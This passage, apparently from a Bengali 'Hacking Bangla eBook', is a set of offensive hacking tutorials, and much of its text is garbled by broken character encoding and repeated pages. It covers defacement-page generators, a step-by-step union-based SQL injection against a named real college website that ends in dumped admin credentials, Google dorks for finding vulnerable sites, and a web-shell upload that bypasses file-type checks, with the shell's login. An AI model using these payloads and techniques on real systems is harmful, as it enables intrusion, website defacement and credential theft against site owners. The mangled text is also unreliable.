httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 56: Hacking Bangla eBook

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 57: Hacking Bangla eBook

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

